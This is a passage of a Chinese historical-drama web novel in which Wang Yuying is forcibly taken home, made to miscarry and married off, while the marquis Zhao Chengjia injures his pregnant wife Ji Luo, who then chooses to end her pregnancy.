他甚至宁愿先将她送回王家去…… 王玉盈张了张嘴,有些失态地问出了那句藏在心底的话,“表哥,你有想过与纪氏和离么?” 第25章 开口问出这句话的一瞬,王玉盈便后悔了。 她实在是冲动了些,没有男人会喜欢被这样步步紧逼,即便赵承嘉心底有她,怕也回因着她这话有些不满。 想到这,王玉盈心下不由越发忐忑。 听她这话,赵承嘉的神色一顿,才发觉王玉盈如今的模样竟是憔悴了许多。 她微微垂下眸子,似乎因着方才的话有些不安,长长的睫毛轻颤着,眼泪将落却又未曾落下,可眼底却还是存有期待的。 她想要一个答案,却又害怕他会说出口的那个答案。 赵承嘉的心软了下来。 他禁不住将人揽入怀中,“阿盈,我会娶你的。” 这是他年少时便存于心底的念头,直至如今,他发觉那个想法依旧存在,也仍有温度。 王玉盈贴近赵承嘉的胸口,听着他胸口处传来的一声声心跳,唇边弯起一抹笑意,却听着赵承嘉又轻叹一声,道:“只是纪氏并无过错,若要和离,阿盈怕是要再等等。” 王玉盈唇边的笑意僵了一瞬,而后有些勉强道:“我愿意等表哥。” 赵承嘉将人越拥越紧,王玉盈埋进他怀中,心底却生出些怨恨来。 等?她能等得了多久? 她腹中的这个孩子,又能等得了多久? *** 得知李氏这边对孙家很是满意,王氏倒是不意外。 她择选的这些世家公子中,家世最高的也就是这位孙公子的,纵然成过一回婚,可家世摆在那,却还是香饽饽。 更何况这王玉盈也成了一回婚,甚至当初成婚还闹出些并不好听的动静来,后来和离也少不了有些传闻,在这种情况下,能攀上孙家,确实已经算是不错。 这李氏倒是比她那个女儿清醒许多,知道不该再妄想些没有可能之事。 不过要促成王家与孙家这桩婚事,其实对于王氏来说其实也没这么难。 谁让她与孙夫人也算旧相识,有许多隐秘的事,孙夫人不会往外说,可牌桌上一时不察说出口却也是寻常事。 这孙家公子孙世威据说身上是有些隐疾的,孙家夫人一直掩着这事,续弦的事一直没成也是怕找了个拿捏不住的,反而将这事捅了出去,到时候惹得孙家没了名声,所以只能千万分谨慎着。 而既然李氏已经应下这事,王氏也不想耽误,当日午后便约着孙家夫人打牌,牌桌上顺口便提了这事。 孙夫人一听这话摸牌的动作顿了顿,语气迟疑道:“王家那姑娘的事我倒是听过,前头为了一个商户和家里断了关系,后来又因夫君说是养了个外室,闹着说是和离了,到如今,也没和离多久罢?” 她倒是不在意别的,只觉得这王玉盈是个能闹腾的,若要拿捏怕是不容易,所以故意提了一句。 “传闻真真假假。”王氏虽知这些传闻大多是真的,可在孙夫人面前却是不能认的,只能挑拣些好话来说,“这孩子性子还是乖顺的,如今和离了一回也算长了教训,我的话,她也都愿意听着。” 孙夫人眸中闪过一丝算计,状似无意道:“我家却不比别处,若是成婚了再有和离的心思,我是必不会答应的。” 王氏自是点头,“她这样闹了一回,不说是你,便是她自个家里也不会容她再折腾,到时候她连个去处都没有,哪里还敢做那样姿态。” 王氏这话说得确实是有些道理的,这王玉盈或许是个性子闹腾的,但身后却无家中做倚仗,这样的人拿捏起来却也容易。 孙夫人明面上虽不曾表露出来,可其实心底还是有为孙世威续弦之事发愁的,这事拖得久了,免不了会受人非议,况且她也有心等续弦过门之后从宗室中抱养个孩子过来,到时也算后继有人。 眼下听着王氏的一番话,她心下微动,开玩笑一般打趣道:“这听起来倒是一桩好姻缘,可这王家姑娘的婚事,总还是要看王家如何说,你这个做姑母的可不能这般做了主!” 她这虽好似是在开玩笑,可其实却有心想探知王家那边的意思。 王氏听着这话,便知这事大约已经成了,便道:“我哪里能做得出这事来,既来当这个说客,自然是玉 盈母亲的意思。” 说罢,她又道:“回头我组个局,你们总该见见。” 两人说到此处,对视了一眼,却又禁不住笑了。 三日后,王氏便安排着让李氏与孙夫人碰了面。 李氏知晓孙家家世高,在孙夫人面前是颇为客气恭敬,才见面就已经是低了一头。 她有心促成这桩婚事,也将这事与丈夫王文成提过,王文成原先就因王玉盈执意要与袁庆生和离之事气得不行,后来王玉盈离开王家住进了永宁侯府,再没回来的意思,他也早当作没了这个女儿,哪里还想管她的事。 李氏的话才说了一半,他便颇为不耐烦地摆了摆手,“这事你们自己安排就是,不必来问我。” 如此,李氏便也只能闭了嘴。 不过这也算是应了下来。 所以此时李氏来见孙夫人,也是打定主意想定下这桩婚事来的。 孙夫人见李氏这般伏低做小的,无形中又抬高了姿态,不过倒是却是有意向要与王家定下这一桩婚事的。 她道:“毕竟是续弦,不是头一回成婚了,这事便没必要闹得动静太大,玉盈这孩子我没见过,但听素柳说是个乖顺的,我最喜欢的便是性子乖顺的孩子,若是你们没有意见,这事我也想着能尽早定下来便尽早定下的好。” 素柳便是王氏名讳,孙夫人与她时常约着一同打牌,关系算是不错,所以私下便也只直呼名讳。 她此时故意提及王氏,其实也是想告诉李氏,她原本是无论如何也瞧不上王玉盈的,之所以应了这事,其实大多也是看了永宁侯府的颜面。 李氏听出这话里的意思,自是越发放低了姿态。 至于孙夫人说的那些有关婚期的话,这些李氏都是不曾想过的,她只觉得能定下这桩婚事便是好的,哪里会在意这些。 于是都一一答应着,又道:“可要拿了生辰八字去合一个好日子?” “前头我与素柳问过玉盈的生辰了。”孙夫人摆弄着手里的帕子,随意道:“十日日后的三月十七就是两人的好日子,到时候我安排一顶轿子上门便是,若你们这边没意见,明日我便安排将聘礼送去府中,你觉得如何?” 李氏神色有些迟疑,“明日?” 她勉强挤出笑意,“这会不会太着急了些?” 她虽一心想着尽快将这事定下,可那毕竟是她的女儿,她也不在在终身大事上如此轻率。 更何况…… 王玉盈的腹中还有个孩子。 孙夫人轻笑一声,“这续弦与头一回成婚那是不同的,若非素柳说了不少你家姑娘的好话,世威看了画像之后也点了头,我说实话,王家的门楣是低了的。” 她这话说得直接,也实在不好听,李氏听着,面上不由一阵难堪。 而孙夫人却也未有缓和语气的意思,又接着道:“三月十七是个好日子,王夫人你若有这心思,咱们就定下来,只是个续弦,到时候我安排个轿子将人抬回来,到了我孙家,也算作是明媒正娶的夫人,所以没这想法,有心与我们孙家结亲的也不在少数,我们也没必要在此处浪费时间了。” 孙夫人将话说到了这份上,便是要李氏此时便拿个主意了。 李氏迟疑了几番,到底是咬牙应了下来。 十日时间虽紧了些,可落了胎再好生养养,或许也不至于让人觉出什么来。 如此,孙夫人面上也有了笑意,她微微颔首道:“那便要唤夫人一声亲家了。” 李氏也跟着恭维道:“往后结了亲事,便也都是亲戚,许多事,还少不了需得帮衬。” 孙夫人自是点了头,李氏见她应下,悬着的心也终于是落了地。 王玉盈还不知此事,这桩婚事便已经算做是定了下来。 就连婚期都已经安排妥当。 因着时间实在紧迫,等孙家的聘礼送上门后,李氏也怕耽搁,索性亲自往永宁侯府去了一趟。 她得先将人接回来才成。 若是孙家那边给的时间宽裕,她应当也会想着一点点劝王玉盈改了主意。 可依孙夫人的意思,却唯有十日的时间来为这桩婚事做准备,旁的倒也算了,可王玉盈腹中那个孩子却是定要做个了断的。 她已经暗中寻了最好的大夫,到时候好生调理一番,也不至于出了岔子。 否则结亲不成,反而结了仇,往后王绍要往官场去,可仕途上没个能帮忙的倒也就算了,更是处处都有要使绊子的。 这哪里能行? 事到如今,也顾不上王玉盈到底情不情愿了。 婚姻之事,向来都是父母之命媒妁之言,当初由着她胡来,让她嫁去了袁家,到头来还不是闹着要和离? 所以这事总还是要听家中的。 如此想着,李氏一早便到了永宁侯府。 这事李氏提前与王氏通了气,所以王氏自是知道李氏为了何事而来,但她却让李氏稍等一等,直至用过了早膳之后才松了口让她去见往观荷院。 李氏心里头有些不解,却也顾不上再多问什么。 而王氏心里自然有自己的考量,这个时辰赵承嘉还在府中,若是李氏在这时要强行将王玉盈带走,怕是少不了要闹出些动静来,到时候若是被赵承嘉知晓,万一他失了理智要将人拦下,这事岂不是麻烦。 所以她拖着李氏,硬是等着赵承嘉离开之后方才让李氏去了观荷院。 *** 观荷院。 王玉盈忍着苦意将一碗汤药饮尽,才喝完,又忙漱了好几下口才算压下来唇舌中的苦涩感。 那日见过赵承嘉之后,她心底倒算是有了些安慰,算着时间,从那日在营帐中与赵承嘉亲近也已经过去足足一月,若是医术好些的大夫,已经能从脉象中诊出有孕来了。 若是赵承嘉知晓她怀了他的孩子,应当是会娶她过门的。 只是…… 纪萝没有将那个位置让出来,恐怕到时候她即便过了门,也不过是个妾室罢了。 若只是个妾室,何须她这般费心筹谋? 她如此想着,恐怕还是要先将纪萝从那个位置上拉下来才成。 原本她存了挑拨心思,想借刀子杀人,让赵倩桐帮她成了这事,可那回没有成事倒也就算了,如今赵倩桐还偏偏一副与纪萝颇为要好的模样,哪里还会愿意与纪萝为敌?怕是不同纪萝一道来对付自己都是难的。 看来指望旁人是不成了,若想成事,总归还是只能靠自己的。 她正想着如何安排,却不想正在这时外间有人禀,竟说是李氏到了。 王玉盈皱眉,还以为是自己听错了,可才想多问一句,李氏就已经踏进了里间,“怎么,听着母亲要来,你这个做女儿的都不来迎接迎接?” 王玉盈敛下心头的不耐,上前道:“母亲这说的是哪里话!” 她过去挽着李氏的手,顺势问道:“母亲今日怎么来了侯府,可去见过姑母了?” 王玉盈即然问了,李氏也无心与她拐弯抹角,这回过来,李氏原本便打定主意要将王玉盈带回去的。 这院子里的人都是王氏安排的,过来之前,王氏也隐晦地与她提了一句,说是这院子里的人都任由她支使。 李氏自然是懂得这意思,无非是告诉她,若是王玉盈不肯与她回去,那便动用些手段也是可以的,观荷院的这些人都能帮衬着动手。 所以此时,李氏也并不担心与王玉盈说破,她正色道:“我今日过来,是来接你回去的。” “回去?”王玉盈脸色微变,她别开目光,“我不回去,倘若我回去了,就更是没了机会,我如何能在这时候回去?” 李氏叹了口气,“你怎么还在做嫁给侯爷的美梦呢?你瞧瞧你如今的模样,再这样下去,连你肚子里的孩子都要让人瞧出端倪来了,你姑母也早瞧出你的心思,你以为你还能在她眼皮子底下算计?” 王玉盈却不肯听她的,只咬牙道:“旁人如何想有什么要紧,表哥说了他心里是有我的,也说了是愿意娶我的!” 见她 这般冥顽不灵,李氏也没了耐心,冷笑道:“是么?那他什么时候娶你?不说聘礼,至少要与你姑母言明此事吧?” “有那纪氏在,他即便有心娶我,却也只能先等一等……”王玉盈垂下眸子,下意识解释着。 可李氏却不听她将话说完,“等到什么时候?一年半载?还是要十年八年才够?” 李氏一句句逼问着,王玉盈一时也说不出话来,只能勉强道:“总归会有那一日便是了。” 她见李氏神色不愉,又努力挤出笑意道:“母亲也莫要着急,都说好事多磨,只要如今表哥的心思是在我身上的,那这事就出了不了岔子,只是时间早晚的事罢了。” “到时候成了事,往后阿弟在官场上,我也能多帮衬帮衬不是?” 若是往日,李氏听完这一番话,少不了会有些心动。 凡事只要牵扯到了王绍的利益上,李氏便会做些让步。 王玉盈也正是拿捏住了这一点,才故意提了这事。 可偏偏她不知李氏前几日都已经与孙家的人谈好,在她什么都不知的情况下为她定下了一桩婚事。 就算李氏真因这话有些犹豫,只要想起这定下的婚事,便也只这事早已没了回转余地。 她可得罪不起孙家! “你莫要再想这些了。”李氏没有再与她多说,只道:“你与我回去,我与你父亲为你定了一桩婚事,婚期定在这个月十七,这些时日你回去将腹中的胎儿落了,再好好养着身子,安心备嫁便是。” “母亲,你说什么?”王玉盈简直不敢相信自己的耳朵。 李氏神色未变,只是语气认真了几分,“这桩婚事由不得你愿不愿意,婚姻之事向来如此,我这个做母亲的给你过了眼,聘礼昨日也送到家中来了,这事,便也就定下了。” 王玉盈甩开李氏的手,猛然站起身道:“不成!除了表哥之外,谁我也不嫁!” 李氏也站起身来,目光斜斜地瞥了一眼她带来的婢子,那婢子会意,快步上前开了门走了出去,不消多时,便带了几个粗壮的婆子进来。 王玉盈瞧着那些婆子有些眼熟,细看之下才想起这几人正是素日在观荷院做粗活的婆子。 王玉盈想起前几日王氏曾唤她过去给她看了几张画像,说是要为她寻一门婚事,彼时她不曾应下,可王氏也并未松口的意思,反而依旧让她再回去想想。 她心底原本还因这事有些不安,可后来见王氏没了动作,便也就将这事放在了一边,只想着该如何将纪萝从侯府夫人的位置上拖下来。 如今看来,王氏并非是没了动作,而是直接越过了她,去与李氏做了商量。 显然也是说动了李氏的。 想明白了这一层,王玉盈心底才生出恐惧来,若是这事只是李氏一人的主意,她或许还能想法子说动李氏给她些时间,可偏偏这事是王氏的安排,那她即便再如何费尽口舌,也是改变不了什么了。 李氏看着王玉盈满脸戒备的模样,不由叹了口气,“阿盈,母亲也是为你着想,你听话些。” 都到这会了,王玉盈也没再与她伪装,冷笑道:“是为了我,还是为你那个儿子,你自个心里明白,即便我不知你要让我与何人成婚,却也能猜出这人定是能对王绍有所帮助的,这事你我都心知肚明,都到这份上了,何必还要骗我?” 王玉盈直接将她们之间那所谓的母女情戳破,毕竟是当着许多永宁侯府人的面,李氏也不由觉得有些难堪。 她没再多说,只转头向那几个婆子吩咐,“赶紧将人制住送上马车去。” 那几个婆子答应着,很快一拥而上用提早备好的麻绳将人死死捆住。 那几个婆子往日都是做粗活的,要旁的没有,可力气却是一等一的,王玉盈虽有心挣扎,可却是半点反抗的力气都没有。 而她贴身的那两个婢子更是一早就被李氏安排的人给死死制住,哪里还能帮得上忙? 如此,李氏便将五花大绑,甚至还堵了嘴的王玉盈从后门带离了侯府。 这也是王氏的意思,说是这事毕竟不算光彩,若是被旁人瞧见,怕还要生出是非来,所以索性走了后门。 李氏自然也并无意见,她也不想这事被孙家的人知晓。 因着实在小心,也并未闹出什么动静来,这事最终算是悄无声息地做成了。 只是芸枝从观荷院经过时听那处的婢子提了一嘴,说是李氏将王玉盈接回去了。 她听着觉得意外,便将这事原模原样地与纪萝说了。 纪萝从那日与赵承嘉起了争执之后便再不曾见过他,纪萝心知自己不曾做错什么,也不想上赶着讨好,而赵承嘉因着纪萝这般不识趣的举动而生出不满来,更是觉得应当冷待她一段时间方能让她长些教训,所以自是久不曾过来。 但他显然打错了主意,他这些时日不曾过来,纪萝反而觉得自在许多,只是偶尔想起王玉盈的事,心底便不免思忖得多了些。 毕竟王玉盈的心思早已显露于明面,而赵承嘉……或许也有这般心思? 纪萝正如此想着,芸枝便匆匆进来说了王玉盈那事,“姑娘,表小姐归家了。” 纪萝一愣,“什么时候的事?” “就今日一早的事。”芸枝神色也有些古怪,“还是王家亲自来人将她带回去的,也不知是有什么要紧事,竟是走得这般着急。” 纪萝也觉得这事奇怪,“她竟是甘心在这时走……” 可此时人已是回了王家,纪萝思忖不出答案来,也并未与自己为难,索性不再纠结。 王玉盈归家之事倒是并未在侯府掀起波澜,只是赵承嘉回来之后觉得奇怪,不免多问了几句。 王氏便说是李氏这些时日身子不好,想着女儿,于是便让王玉盈回去住一段时日。 这是当初王玉盈用过的由头,如今,王氏便也顺手拿这理由来应付赵承嘉。 王玉盈在赵承嘉面前向来是做足了孝顺姿态,所以听王氏这般说,倒也并不觉得奇怪,原本想多问一句她什么时候再回侯府,可刚要开口却反应过来问这话倒显得他与王玉盈关系颇为亲近,显然有些不合适,于是便将那半句话咽了下去,没再多问了。 王氏见赵承嘉一副欲言又止的模样,越发觉得自己这般安排不曾有错。 那孙家虽不算好,可到底门第高,若是王玉盈嫁过去之后能安分些,日子也是好过的。 如此,自己也算仁至义尽了。 再有错处,也是她自己先生了不该有的心思。 甚至勾着赵承嘉如今心思还在她身上,若不尽早将她安排出去,往后还当真不知要生出什么事端来。 这般想着,王氏连心思最后的那几分愧疚也尽数消失不见,心底反而越发安定下来。 *** 王玉盈几乎被押送着回了王家。 她在马车上周身都被结结实实地捆着麻绳,为了防止她发出声音,甚至将嘴都死死堵着,只能勉强发出些呜咽的声音。 等到了王家之后,又直接将她关进了翠盈院中,虽是解了绳子,但却将房门紧闭着,连看守的婢子也都尽数换了人,让王玉盈是万万再没有逃出的可能。 而才不过半个时辰,李氏便带着提早寻好的大夫过来。 这大夫是外地人,今日帮王玉盈瞧过之后,明日便要归老家去,李氏许诺了不少银子,那大夫自是满口答应着会瞒下此事。 王玉盈被那麻绳捆绑得手脚发麻,连从地上爬起来都极为艰难,她极为迟缓地起了身,目光涣散地望向外间。 到了这一步,她确实想不出往后还能如何。 李氏如今已经是笃定了要让她与旁人成婚,往日的闺房对于她而言,却已经成了囚笼,她要逃出去,当真是难如登天。 而对于那桩婚事,她却几乎是一无所知。 这样的结果,她是在不 甘心。 倘若她这一生都只是平庸的,那便也就罢了,可偏偏上天是给了她一回重生机会的,她既重活了一世,哪里能甘心最终竟还是活成这般模样。 她下意识死死抓住被褥,额头沁出了细密的冷汗来,于此同时,她下腹也传来一阵下坠的疼痛感,让她更是禁不住咬紧了唇齿,几乎要熬不下去。 而也正在这时李氏带着大夫推门走了进来。 王玉盈捂着肚子,脸色惨白地像李氏求救,“母亲,母亲,我肚子疼得厉害,求你……” 李氏皱眉看了她一眼,“放心,我带了大夫过来,很快你就不必受这折磨了。” 说罢,李氏看了一眼旁边的大夫,那大夫会意,上前给王玉盈摸了脉,一摸脉象,那大夫脸色微微一边,他迟疑着道:“这孩子,原本就是保不住的。” 李氏让这大夫过来便是提前与他说过,让他将王玉盈腹中的孩子落了。 可如今看来,即便不用药物,这孩子原本也生不下来。 似乎没必要多此一举了。 可王玉盈却拽住李氏的衣袖,哀求道:“母亲,求您帮帮我,这个孩子于我还有用,绝不能就这般没了……” 可李氏却挣脱衣袖,她看向那大夫,声音几近冷硬,“不行,这孩子需得尽快落了,这事耽误不得。” 那大夫听李氏如此说,只得应了下来。 那碗熬得浑浊的汤药逼到了唇边,王玉盈剧烈地挣扎着,含糊不清地央求李氏,可无奈手脚皆被婢子死死制住,任凭她如何挣扎,那碗汤药依旧有一大步被灌入了她口中。 那汤药入了腹,不出片刻就生了效,两腿间湿湿粘粘的热意淌了下来,她垂眸看下,铺天盖地的鲜红从裙摆处弥散开来,她的神色变得惊恐,而后止不住地大声尖叫起来。 李氏忙让那几个婢子上前去将她制住,连嘴也一同死死捂着。 “好了,阿盈,你这个孩子原本就不该留的,如今落了也算了了一桩事。”她见王玉盈依旧是一副颇为不甘的模样,不由叹了口气,“那个念头,你原本就不该有的,如今攀不上侯府反而还得罪了你姑母,好在她还愿意帮衬我们。” “眼下这桩婚事你或许瞧不上,可人啊,总不能心气太高,你成过一回婚,那些事闹得名声也不好,能嫁到那样的人家已经很好了,往后好好过日子便是。” 王玉盈没法说话,她只能竭力发出些含糊的声音,一双眸子死死盯着李氏,眼底甚至生出了恨意来。 李氏知道她不会甘愿,于是轻轻摇了摇头,吩咐大夫开了给她养身子的汤药之后便说了句“你自个好生想想吧”,而后便转身出了门。 她原以为这般熬上两日,王玉盈的性子就算再如何倔,也总该能被磨平。 可一晃两日过去,王玉盈非但没有认命的意思,甚至连每日的饭食都不肯用了。 那些汤药还能强行灌进去,可米饭粥食,她不肯张口,却是怎么也喂不下去的。 如此折腾了两日,李氏也没有法子,只得再去劝她。 这样熬了两日之后,王玉盈瞧着脸色越发不好,嘴唇也没了血色,可那双眼眸却是极为清醒中带着决然,她似乎想好了接下来的路该如何走。 李氏推门进来之后看向倚在床榻上的王玉盈,里间稍显浓重的汤药味激得她止不住咳嗽了几声,而后才开口劝道:“你这又是何苦,到底是自己的身子,你这般不吃不喝的,身子养不好,往后说不定再怀不了身子,到时候岂非更难?” “母亲。”王玉盈的声音极为沙哑,她缓缓道:“我想见凝露与凝芳,她自小陪在我身边,她不在,我用不下东西。” 李氏皱眉,几乎想也不想便拒绝了,“不成。” 王玉盈看向她,声音极轻地笑了一声,“母亲是怕她们会帮我逃出去?” 她的目光移向窗外,那边时不时便有人影走动,显然都是在盯着她的。 李氏顺着王玉盈的目光看过去,一时神色也不由有些尴尬,可却也是不会承认的,“你这孩子性子倔,母亲也只是怕你出了岔子。” “凝露和凝芳不过是两个小姑娘,便是有心做什么,有这些婆子在,也成不了什么事,”王玉盈无心与她说这些,只直白道:“若是母亲不应允此事,那我们也就没什么好谈的了,我不将身子养好,想来母亲与那边,应当也不好交代罢?” 她这话说出口,却已经有了威胁的意味。 李氏闻言就要发作,可见王玉盈如今的憔悴模样,却也知王玉盈这话不曾说错。 若是孙家的人瞧见王玉盈这般模样,怕是少不了心里怀疑,到时候若是查出什么来,她更是不好交代。 如此想着,李氏到底松了口,“好,晚些时候我会安排她们过来。” 王玉盈扯出一抹笑意,“多谢母亲。” 李氏没法在这房里久待,只含糊地让她好生休息便转头出了房门。 *** 时间如白驹过隙,一晃便到了王玉盈的婚期。 这些时日有了凝芳与凝露相伴,王玉盈不仅每日的汤药按时喝着,就连膳食也都不曾落下,身子也渐渐好了起来。 初时,李氏心底还有所怀疑,总觉得王玉盈要见凝露与凝芳二人怕是有其他缘由,说不定依旧存了要逃离此处的念头。 所以做了这般安排后,李氏又多安排了两个做粗活的婆子盯着,生怕这事出了岔子。 不过一连盯了几日之后,李氏见王玉盈反而日渐安定下来,心底那些怀疑也大多消散,想着她大约是已经想明白了。 总归逃也是逃不出去的,再说,即便当真逃出去了,又还能去哪里?难道要回永宁侯府? 可永宁侯府早已容不下她。 这么多年她始终都是金尊玉贵的小姐,流落外间的苦她更是半分都承受不了。 这般想着,李氏心底也渐渐安定下来,大约王玉盈也意识到了她自己早已没了旁的去处,也就只能认了命。 可真到了成婚那日,却还是出了岔子。 这一日,翠盈院里虽依旧有人盯着,可到底人多眼杂,进进出出的人变多了,变故也就多了。 王玉盈也就是借着这个机会让凝露伪装成了前来给她梳妆的妆娘模样,低头掩下容貌,借机出了翠盈院。 而青萝院,纪萝与赵承嘉却少见地坐在一处用膳。 这事其实却还是赵倩桐的撮合。 她见纪萝迟迟不肯将怀了身子的事与赵承嘉言明,也向纪萝问了几回,纪萝虽始终不曾说什么,但她心底也多少有些揣测,想着两人大约闹了变扭。 若说缘由,她能想到的也就唯有那日怯生生跟在赵承嘉身后的王玉盈了。 那事虽是自己兄长的过错,可王玉盈如今却已经回了王家,若此时还要因着她闹了不痛快,便有些不值当了。 赵倩桐如此想着,便打定主意要让两人坐下来好生聊一聊。 正好这一日赵承嘉比往日回来得早些,于是赵倩桐便做了安排,引着赵承嘉去了青萝院。 等两人坐定之后,赵倩桐又找了由头说是与好友有约,急匆匆地便走了,好似生怕打搅了二人。 见她这般,纪萝也有些无奈,可偏偏也是一番好意,到底不能说什么。 赵承嘉也看出赵倩桐的用意,不过心里却下意识觉得这也是纪萝的意思,既然邀了他过来,其实也算低了头,如此想着,心底反而少不了有些得意。 他道:“前些日子的事我知你不过是吃味,这倒也不是大事,只是要因着这样的事失了体面,可就有些过了。” 不知是因着他的话,还是因为桌面上那些刻意摆得远了些的荤腥,纪萝胸口忽地涌上一阵恶心,几乎是要吐出来。 赵承嘉却恍然未觉,他接着道:“不过你今日既然低了头,想来也是明白自己的过错了,那我便原谅了你,只是往后却不能再犯这种过错了。” 他的话说完,以为纪萝会千恩万谢地应下来,可再抬眼,对上的却是纪萝略有些发冷的目光。 他有些不耐烦地皱眉,正要开口,外间却传来一阵凌乱的争吵声。 纪萝也下意识地往外间看去,却听得近乎声嘶力竭的声音响起,“侯爷,请侯爷救救我家小姐吧!” 赵承嘉猛然起身,大步推门走了出去。 纪萝的动作稍稍顿了片刻,也跟着走了出去。 外间已是乱作一团。 除却芸枝与几个素日在青萝院做事的婢子之外,还有一个有些眼熟的婢子,正是凝露。 此时她已经狼狈不堪,连发髻都在拉扯间散乱了下来,她一看见赵承嘉眼里便有了光亮,几乎是连滚带爬地跪到了赵承嘉面前,“侯爷,侯爷你救救我家小姐,求您救救她!” “这是怎么了?”赵承嘉眉头紧皱,“阿盈出什么事了?” 凝露语气急切道:“夫人要逼着小姐嫁与一个年岁颇大,还成过一回婚的男子,小姐无论如何不肯答应,但夫人却逼着小姐上了轿子,眼下怕已经是送出府去了。” 说到此处,凝露甚至还看了一旁的纪萝一眼,而后才继续道:“侯爷,小姐她……她早已是怀了您的孩子……” 赵承嘉一惊,“什么?她怎么不曾与我说?” 凝露声音中已经是带着哭腔,“小姐说,她不想让侯爷为难……” “怀着我的孩子怎么能嫁给旁人?”赵承嘉脸色越发难看,心头烧起来的怒火早已吞噬了仅存的理智,他几乎咬牙道:“我去将她带回来!” 第26章 纪萝立在赵承嘉身后,凝露的每一句话都极为清晰地传入她的耳中。 而凝露每说一句话,纪萝的脸色也多苍白一分。 赵承嘉与王玉盈的事,她不是不知道的,只是她从未想过,他们二人竟是到了这一步。 就连凝露说出王玉盈早怀了身子的事,赵承嘉也皆是一副毫不意外的模样。 所以他们,怕是早已…… 纪萝轻轻地闭了闭眼,到底是她太过天真,竟以为他们之间还不曾有过亲近关系。 两人竟是这般情意相投,又并非圣人,怕是忍不住,也不会忍。 许是觉察到母亲的情绪,腹中孩子也有了不安的迹象,竟是隐约传来疼痛感。 可也正在这时,她听得赵承嘉说要去将王玉盈带回来。 纪萝猛地回过神来,赵承嘉或许失了理智,可她脑子却越发清醒。 不行,此时是无论如何都不能去的。 若是当街去拦下轿子,到时候所有人都会瞧见这般景象,堂堂永宁侯,当街抢了人家的新娘,这般传闻流传开来,对如今的永宁侯府来说,怕是天大的灾祸。 此时的纪萝早已撇开什么感情,只是纯粹出于利益。 她如今是永宁侯府的夫人,更不说她腹中还有一个孩子,这所有的一切都与她利益相关。 她绝不能让这所有的一切尽数毁在赵承嘉的荒唐举动中。 于是她几乎毫不迟疑地将赵承嘉拦了下来,“侯爷,您不能去!” 赵承嘉满面的怒色中夹杂着不耐烦,“都什么时候了,你还这般善妒?难道当真要让阿盈怀着永宁侯府的血脉嫁给旁人?” 纪萝什么都还来不及说,他却已经笃定纪萝只是因着善妒不肯让他去将旁的女人带回来。 “侯爷,眼下人多眼杂。”纪萝顾不上他的话说得难听,只慌忙解释着,“倘若被旁人瞧见怕是不好,我们总归还有别的法子,不如……” 或是同与王家结亲的那人家中商量一番,给些金银之类,或许人家也觉得这是一桩丑闻,也有心想掩饰过去,何必一定要闹得人尽皆知呢? 可她的话还不曾说完,赵承嘉便已是一把将她推开,“这事等不得,我就算再如何,也绝不会让阿盈怀着我的孩子嫁给别人!” 赵承嘉用的力气未曾收敛,竟是一下便将纪萝推到在地,而更为糟糕的是她的腹部恰好磕在了身后的台阶上。 近乎尖锐的疼痛感一下钻了上来,纪萝下意识想护着腹部,可到底没来得及。 芸枝瞧见这般景象,慌忙过来搀扶纪萝,眼见她脸色惨白,也更是慌了神,几乎是脱口而出道:“快请大夫,姑娘怀了身子,禁不住这样折腾的!” 赵承嘉也自然听到这话,他的脚步微微一顿,似乎是有些疑惑地往纪萝这边看来。 纪萝怀了身子,怎么他竟是不知? 可见赵承嘉神色迟疑,凝露又想起王玉盈的叮嘱来。 王玉盈虽不知纪萝的孩子具体到底会在什么时候怀上,可她算着时间,想着自己腹中孩子已近四月,而上辈子,自己的孩子诞下之后也并未太久便听说了侯府的喜讯,这般算来,纪萝那个孩子,或许已经怀上了也未可知。 如此想着,王玉盈便不免对凝露多叮嘱了几句,“若是那纪萝说她也怀了身子,要以这个由头将表哥拦下,你一定要反应快些,只说纪萝是为了留住侯爷说了谎话便是。” 彼时凝露虽然奇怪,不知王玉盈为何如何未卜先知一般猜到纪萝会以这种法子留人,可见她说得这般认真,便也都一一记了下来。 不想此时当真派上了用场。 于是她颇为委屈道:“夫人何必这般,为了阻拦侯爷救人,竟是说出这般谎话来!” 一听这话,赵承嘉也回过神来,他冷笑一声,“阿盈说怀了身子,你也紧跟着便说怀了身子,为了将我拦下竟是什么谎话也说出来了?” 说完,也不等芸枝再说什么,一甩衣袖便出了青萝院。 芸枝的眼泪瞬间就落了下来,可却也不敢耽误,一边吩咐人赶快去请大夫,一边小心翼翼搀扶着纪萝进了屋内。 纪萝这时候已经觉不出心痛的感觉,她只觉得腹部疼得厉害,几乎要将她的五脏六腑都搅碎一般。 这样的疼痛足以掩盖所有的一切,也渐渐将她的神智拉向深渊。 “姑娘,姑娘,快醒醒。”朦胧中,她听见芸枝在唤她。 她竭力睁开眼,眼前的一切也由模糊而渐渐变得清晰,腹部的疼痛感好似稍稍缓和些了,她掐着掌心,让自己清醒过来。 芸枝见纪萝终于醒过来,面上终于有了喜色,“姑娘,您醒了,你觉得如何了?” 纪萝轻轻点头,“我好多了。” 她看向珠帘后边微微弓身立着的大夫,问道:“大夫如何说?” 那大夫听纪萝问起,迟疑着上前道:“夫人,您腹中的孩子怕是不好保。” 芸枝闻言颇为心疼地看向纪萝,从有了这孩子,姑娘不说日日有多欢喜,可到底日子有了盼头,往后也到底好过些。 谁能想如今却出了这事…… 纪萝指尖微微用力,即便是刺破了掌心也未曾觉察,她听得大夫继续道:“夫人忧思颇重,这孩子原本就体弱,如今又……” “如今看来,即便留下这孩子,往后生下来,却也是难的。” 纪萝明白了这大夫的意思。 这个孩子可以留下,只是不知能留多久,更不知能不能平安诞下。 而即便平安诞下,恐怕也是体弱多病,未必能久活。 纪萝身子微微发颤,这个孩子,她也曾经满心期许,可是如今,如今的永宁侯府…… 这个孩子或许原本就不该降生于世。 若是当真生下来,才是要受尽苦楚。 想到此处,纪萝的手猛然松开,唇边竟是挂了意思虚弱的笑意,他听得自己的声音在耳边响起,她道:“这个孩子……不留了吧。” 若是这个孩子知晓外间的世界是这般景象,想来也不会愿意来到。 强留,只会让孩子也受尽苦楚。 芸枝心头一惊,完全没想到纪萝竟会舍弃这个孩子,她下意识道:“姑娘。” “我意已决。”纪萝看向她,“这个孩子不应来这世上受苦。” 芸枝神色顿住,最终还是低头应了个“是”。 那大夫虽然意外,对于孩子的事,那些深宅大院中的夫人向来是看得极重的,只要还存了一点可能,便是无论如何也要将孩子保住的,可纪萝却很快想明白了,这实在难得。 不过他也并不曾多说什么,只是很快开了方子,说了些叮嘱的话之后又不忘宽慰纪萝,“夫人的身子原本是不错的,这回落了胎,再好生休养,想来往后再怀身子也不会是难事。” 纪萝虽根本无心再为赵承嘉生下孩子,可听得大夫宽慰的话,依旧是笑着点了头。 只是,她如今想要的,唯有和赵承嘉断个干净。 